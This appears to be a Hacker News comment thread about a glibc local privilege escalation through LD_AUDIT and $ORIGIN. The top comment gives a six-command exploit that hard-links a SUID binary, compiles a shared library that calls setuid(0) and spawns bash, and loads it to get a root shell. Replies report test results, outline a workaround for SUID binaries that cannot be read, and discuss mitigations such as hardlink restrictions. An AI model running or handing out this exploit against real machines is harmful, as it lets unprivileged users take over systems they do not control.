4 ms·
That's 6 commands to get root access: mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 999< /tmp/exploit/target rm -rf /tmp/exploit/ echo 'vo
by NiekvdMaas 16y ago
That's 6 commands to get root access:
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 999< /tmp/exploit/target
rm -rf /tmp/exploit/
echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
I tried, and at least glibc 2.6 and up are not vulnerable.
Edit: cat -> ping
- deleted 16y ago[deleted]
- viraptor 16y agoVersions are not everything anymore. Distributions have so many patches, that unless you compiled glibc yourself (did you?), you'll get centos-libc-2.6, or debian-libc-2.6, or ...
- kelnos 16y agoDoesn't work for me either; I get "Permission denied" at the first exec step. Glibc 2.12.1 here (Gentoo).
- pvxc 16y agoHard link creation can in recent Linux kernels be restricted, by SECURITY_YAMA_HARDLINKS config option which seems active by default at least on Ubuntu 10.10. So that platform is not vulnerable.
- rg3 16y agoThat's because, to redirect that file to file descriptor 3 for reading, you need read permission on the file. In my system, for example, /bin/ping cannot be read as a normal user (permissions 4711) and I get that same error. You'll have to find another binary that has the SUID bit set and is readable. For example, in my system /bin/mount does the job. Still, in the last step I get the same error as reported by several other users (Inconsistency detected...)
- pyre 16y agoThere is also a method at the end of the mail (in the Notes section) that details a method of using a SUID binary that you don't have read access to. TL;DR 1. cause STDERR to block 2. run the SUID binary in the background in a way that triggers ld to try to write to STDERR causing it to block. 3. Replace /tmp/exploit with your binary 4. eliminate the blocking condition on STDERR. 5. ld will continue on using the $ORIGIN value.
- VMG 16y ago# pacman -Q glibc glibc 2.12.1-2 archlinux: LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999 Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
- JabavuAdams 16y agoI went to try this, and then realized that I don't have gcc installed on my production (-ish) boxes. Is this sufficient? Can you foresee me needing to install gcc, and to leave it installed? I.e. should I install it to do whatever compiling I need to do, and then remove it?
- zerohp 16y agoNo, it's not sufficient. Assuming an attacker has the ability to run commands as a user on your machine, they could compile the exploit code on a remote host and copy it in.